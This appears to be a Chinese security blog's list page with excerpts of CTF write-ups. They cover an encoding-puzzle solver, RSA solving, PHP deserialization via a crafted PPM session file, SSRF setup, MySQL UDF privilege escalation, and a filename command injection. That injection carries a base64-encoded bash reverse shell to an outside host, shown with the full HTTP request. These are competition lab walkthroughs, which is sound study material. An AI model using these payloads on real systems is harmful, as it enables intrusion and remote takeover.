2024第一次线上赛WP

MISC 办公室爱情(🙂) 办公室爱情wp 你这flag保熟吗(😐) 你这flag保熟吗wp 小明的电脑(😧) 小明的电脑wp 套娃生成器(🤯) 根据提示,在github上找到该项目 总共实现了以下几种娃: dolls_registry = ( (Base16Doll, Base32Doll, Base64Doll, Base85Doll), # Base系列编码,随机选择一种 (RGBAImageBytesDoll,), # 字节编码成 RGBA 图片 (BitReverseDoll, ByteReverseDoll), # 位翻转和字节翻转 (WeakZipDoll,), # 弱密码ZIP (QRCodeDoll,), # 字符串编码成二维码 (MostSignificantByteDoll, LeastSignificantByteDoll), # 隐写LSB/MSB ) 生成逻辑是上面每行的娃随机选择一个,然后打乱顺序递归生成结果。如果生成的结果超过当前娃的最大承载长度,就将这个娃和上一个娃交换位置,然后重新生成。(具体逻辑见 encode.py) 其中,QRCodeDoll 会生成一个二维码图片,由于二维码我没有找到可靠的办法来承载二进制,所以它实际上存储的是 Base64 编码的二进制数据。 另外,对于 RGBAImageBytesDoll、MostSignificantByteDoll 和 LeastSignificantByteDoll,由于存储的数据长度可能不足容量,所以存储的前四字节为大端序的数据长度。 此外,WeakZipDoll 生成的密码选择在五位数字的原因是因为这是在我的机器上 Python 多进程能在 60 秒内稳定破解的最长密码(有考虑过六位数字,但是不能稳定破解,可能需要写 C binding,感觉有点麻烦就放弃了)。 解题脚本见 solve.py,其中具体实现的逻辑是对于输入的特征选择尝试解码的娃,如果解码成功但是结果不清晰就递归解码,直到解码成功且结果清晰(或者持续解码但是直到低于最小可能长度仍然无法解码就失败);如果解码失败就尝试下一个娃。 solve.py: import re import sys from base64 import decodebytes import pwn as p from matryoshka.dolls.base import DollError, DollsBase from matryoshka.dolls.multi_base import Base16Doll, Base32Doll, Base64Doll, Base85Doll from matryoshka.dolls.qrcode_encode import QRCodeDoll from matryoshka.dolls.reverse import BitReverseDoll, ByteReverseDoll from matryoshka.dolls.rgb_bytes import RGBAImageBytesDoll from matryoshka.dolls.significant_byte import ( LeastSignificantByteDoll, MostSignificantByteDoll, ) from matryoshka.dolls.weak_zip import WeakZipDoll def decode( data: bytes, round: int = 1, result_regex=rb"flag{.*?}", accepted_dolls: tuple[type[DollsBase], ...] = (), length_threshold: int = 10, ): def prefixed_print(*args): p.log.info(" ".join(["--" * round + ">", *map(str, args)])) prefixed_print("entering round", round) attempts: list[type[DollsBase]] = [] if data.startswith(b"PK"): # PK is the magic number for ZIP files attempts.append(WeakZipDoll) if data.startswith(b"\x89PNG"): # PNG magic number attempts.append(RGBAImageBytesDoll) attempts.append(LeastSignificantByteDoll) attempts.append(MostSignificantByteDoll) if data.isascii(): # ASCII charset = {bytes([c]) for c in data} if charset == {b"0", b"1"}: attempts.append(QRCodeDoll) else: attempts.append(Base16Doll) attempts.append(Base32Doll) attempts.append(Base64Doll) attempts.append(Base85Doll) attempts.append(BitReverseDoll) attempts.append(ByteReverseDoll) attempts = [attempt for attempt in attempts if attempt not in accepted_dolls] for attempt in attempts: prefixed_print(f"trying {attempt.__name__}") try: result = attempt().decode(data) except DollError as e: prefixed_print(f"failed {attempt.__name__}: {e}") continue if len(result) < length_threshold: prefixed_print(f"failed {attempt.__name__}: length not accepted") continue if re.search(result_regex, result, re.DOTALL): prefixed_print(f"success {attempt.__name__}: {result}") return result prefixed_print("result not clear, recursive decode begin") result = decode(result, round + 1, result_regex, (*accepted_dolls, attempt)) if result: return result prefixed_print("round failed") return None if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} <host> <port>") sys.exit(1) _, host, port = sys.argv s = p.remote(host, port) s.recvuntil(b"name") s.sendline(b"mix") while True: data = s.recvuntil(b"-----END MATRYOSHKA MESSAGE-----") round_data = re.search(rb"Round (\d+)/(\d+)", data) assert round_data round = int(round_data.group(1)) total_rounds = int(round_data.group(2)) p.log.info(f"Round {round}/{total_rounds}") data_chunk = re.search( b"-----BEGIN MATRYOSHKA MESSAGE-----\n(.*)\n-----END MATRYOSHKA MESSAGE-----", data, re.DOTALL, ) assert data_chunk data = decode(decodebytes(data_chunk.group(1))) assert data s.sendline(data) if round == total_rounds: break s.interactive() CRYPTO baby_rsa(🙂) from Crypto.Util.number import long_to_bytes from gmpy2 import invert, is_prime from tqdm import tqdm ​ primes = [] ​ for xy in tqdm(range(500)): for mn in range(500): prime = xy**(mn+1) - (xy+1)**mn if prime.bit_length() > 2048: break if is_prime(prime): primes.append(prime) ​ c = 15808773921165746378224649554032774095198531782455904169552223303513940968292896814159288417499220739875833754573943607047855256739976161598599903932981169979509871591999964856806929597805904134099901826858367778386342376768508031554802249075072366710038889306268806744179086648684738023073458982906066972340414398928411147970593935244077925448732772473619783079328351522269170879807064111318871074291073581343039389561175391039766936376267875184581643335916049461784753341115227515163545709454746272514827000601853735356551495685229995637483506735448900656885365353434308639412035003119516693303377081576975540948311 ​ for i in range(len(primes)): for j in range(i, len(primes)): pq = primes[i]*primes[j] if len(bin(pq)[2:]) == 2048: try: d = invert(0x10001, (primes[i]-1)*(primes[j]-1)) dec = long_to_bytes(pow(c, d, pq)) if b"flag{" in dec: print(dec) except ValueError: pass 已知((fac[0]+fac[1]+fac[2]) « 1) - 1的值,用其替代n。分解((fac[0]+fac[1]+fac[2]) « 1) - 1求其欧拉函数,进而求解出d和第二段。 ...

March 24, 2024 · 9 min · Red

2024新年红包题

将饺替换成0,子替换成1,二进制转换字符串得到 下载附件,审计源码 题目开了imagick扩展 再审计源代码,一共有三个功能点: 反序列化 删除/tmp目录下的所有内容(这算是题目的提示了) 高亮当前文件 再看题目给的后门类: 其实这里sink点有两个,一个是readfile读取文件,另一个是new $a($b)格式的代码 对于new $a($b)格式的代码,如果题目出网并且web目录可写的话,是可以直接RCE的,但是本题既不出网,web目录又不可写 因此题目的sink点就在readfile了,那么如何触发__sleep()魔术方法呢,__sleep魔术方法会在序列化的时候被调用 所以整个攻击流程如下: 首先把/tmp目录清空: GET /?cmd=rm HTTP/1.1 Host: 1.1.1.1:49338 再制作一个PPM图片,选择PPM的原因是PPM末尾允许添加一些脏数据,并且该脏数据也不会被imagick抹去 session的内容生成方式如下: 这里我们设置path属性为/tmp/res路径,这个路径就是/flag复制之后的路径 重点看16行,这里的脏数据的数量其实是有一定要求的,在第12行设置了PPM图片的长和宽,即9*9像素,这里的脏数据+序列化数据的数量需要大于等于3*9*9且小于等于4*9*9(这里3和4可以简单理解为每个像素所占用的字节),具体原理不深究了,这里就当做记个结论(如果有其他想法,可以随时私信讨论) <?php class fumo_backdoor { public $path = null; public $argv = null; public $func = null; public $class = null; } $a = new fumo_backdoor(); $a->path = "/tmp/res"; // 复制后的flag路径 $ppmhead = "P6 9 9 255 " ; $sdata = "|" . serialize($a); $ppm = $ppmhead . str_repeat("\x00", 3 * 9 * 9 - strlen($sdata)) . $sdata; // print($ppm); print(base64_encode($ppm)); //UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfE86MTM6ImZ1bW9fYmFja2Rvb3IiOjQ6e3M6NDoicGF0aCI7czo4OiIvdG1wL3JlcyI7czo0OiJhcmd2IjtOO3M6NDoiZnVuYyI7TjtzOjU6ImNsYXNzIjtOO30= 有关PPM格式示例文件规范如下(From ChatGPT): ...

February 11, 2024 · 2 min · Red

2024寒假训练赛4——Writeup

WEB web签到 直接上payload /?c=cat /flag%0a 虽然过滤掉了很多东西,但%0a是换行,可以将过滤的指令换到下一行,就不会影响上一行执行 prprp…py? 打开题目显示没有session 可以利用SESSION_UPLOAD_PROGRESS创建一个session: 下方的proxies为BurpSuite的代理地址 import requests url = "http://1.1.1.1:49343/" data = { "PHP_SESSION_UPLOAD_PROGRESS":"a" } file = { "file": ("a","a") } cookies = { "PHPSESSID": "a" } proxies = { "http": "127.0.0.1:8080" } req = requests.post(url, data=data, files=file, cookies=cookies, proxies=proxies) print(req.text) 发包过去就能拿到源码了 获取到的源码如下,这里稍作分析: $_POST['data']可控,并且会对其反序列化后覆盖变量,所以我们可以任意构造后续的变量,注意在传参的时候需要序列化数据 核心看三个if分支,第一个if分支会对properties变量反序列化,并且调用sctf方法,由于代码里不存在类有sctf方法,因此第一反应应该是构造SoapClient原生类打SSRF 第二个else if分支的用途就比较明显了,可以利用原生类读取任意文件 第三个else语句会去请求内部5000端口的服务并返回结果,一般5000端口是Flask服务,不过这里file_get_contents只能发送GET请求,如果要打Flask的/console的Debug服务需要带Cookie <?php error_reporting(0); if(!isset($_SESSION)){ die('Session not started'); } highlight_file(__FILE__); $type = $_SESSION['type']; $properties = $_SESSION['properties']; echo urlencode($_POST['data']); extract(unserialize($_POST['data'])); if(is_string($properties)&&unserialize(urldecode($properties))){ $object = unserialize(urldecode($properties)); $object -> sctf(); exit(); } else if(is_array($properties)){ $object = new $type($properties[0],$properties[1]); } else { $object = file_get_contents('http://127.0.0.1:5000/'.$properties); } echo "this is the object: $object <br>"; ?> 这里的解题思路如下: ...

February 2, 2024 · 3 min · Red

2024长城杯校内选拔赛——Writeup

WEB 在线解压(2023国赛 华北赛区) 下载源码,审计POST路由,其中savepath可控且无过滤,直接闭合命令执行即可 命令注入点在上传的文件名,由于文件名不能包含/等特殊字符,所以需要把反弹shell的命令base64编码一下: a||`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvMzk5OTkgMD4mMQ==|base64 -d|bash -i`# 完整请求包如下: POST / HTTP/1.1 Host: 1.1.1.1:12345 Content-Length: 277 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLtw6UwBXBsZ5zrtu ------WebKitFormBoundaryLtw6UwBXBsZ5zrtu Content-Disposition: form-data; name="file"; filename="a||`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEuMS4xLjEvMzk5OTkgMD4mMQ==|base64 -d|bash -i`#" Content-Type: image/jpeg asdasd ------WebKitFormBoundaryLtw6UwBXBsZ5zrtu-- 附:上传文件请求包 <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>POST传输数据包</title> </head> <body> <form action="http://1.1.1.1:12345/" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html> 卫继龚的博客——1(2023WMCTF) 下载题目附件,分析app.js 32-135行的路由,用nodejs实现了werkzeug的console,类似于Flask里面的调试模式的console,不过这里需要鉴权才能进入console 在edit这个路由里,获取传入的id,并做查询, !/\d+/igm.test(id)用于检查id是否包含一个或多个数字,所以还是可以注入的,只需要包含数字且不包含into、outfile、dumpfile即可 再看getPostById方法,这里直接对传入的id做拼接(在post.js) 直接传/post/1'/edit发现就可以注入 前面提到的鉴权,它的pin在程序启动的时候就被打印出来了 ...

February 1, 2024 · 16 min · Red

[2024西湖论剑]only_sql

拿到题目后打开发现是一个mysql连接面板,初步猜测是在自己的远程数据库里写木马再写到靶机上 用vps开一个数据库,给root后连接,发现确实可以执行sql指令 但是没法写东西到靶机里(into outfile),搜索后发现是要开一个secure_file_priv的参数 并且我发现了这篇博客 可以用load data local infile语句在不受这个参数影响的情况下将文件内容读出来并写到我的远程数据库里。当然还可以使用搭建蜜罐的方式直接读文件,我后来选择使用后者 经过测试,蜜罐搭建后用面板连接,确实可以读取到文件 将query.php读出来就可以看到靶机运行的mysql的账号密码和库名,回到一开始的面板登录即可。登陆后,试了一圈也没发现flag文件,所以猜测是在环境变量。但是没找到读环境变量的方法,只能想办法rce 由于实在找不到什么除了sql外的rce手段,所以最后选择直接用udf提权 UDF(user defined function)用户自定义函数,是MySQL的一个扩展接口,称为用户自定义函数,是用来拓展MySQL的技术手段,用户通过自定义函数来实现在MySQL中无法实现的功能。文件后缀为.dll或.so,常用c语言编写。 先确定secure_file_priv是空值 show variables like '%secure%'; 之后确定一下mysql安装路径 show variables like '%basedir%'; 通过主机版本及架构确认mysql位数来选用udf文件 show variables like '%compile%'; 查看 plugin 目录 show variables like 'plugin%'; 还要再看一下有没有满足高位权限 select * from mysql.user where user = substring_index(user(), '@', 1) ; 最后看一下plugin的值 select host,user,plugin from mysql.user where user = substring_index(user(),'@',1); plugin值表示mysql用户的认证方式。当 plugin 的值为空时不可提权,为 mysql_native_password 时可通过账户连接提权。默认为mysql_native_password。另外,mysql用户还需对此plugin目录具有写权限。 上述条件满足且信息搜集完后,这里我选择用msf里自带的udf库文件,路径是/usr/share/metasploit-framework/data/exploits/mysql ...

January 30, 2024 · 1 min · Red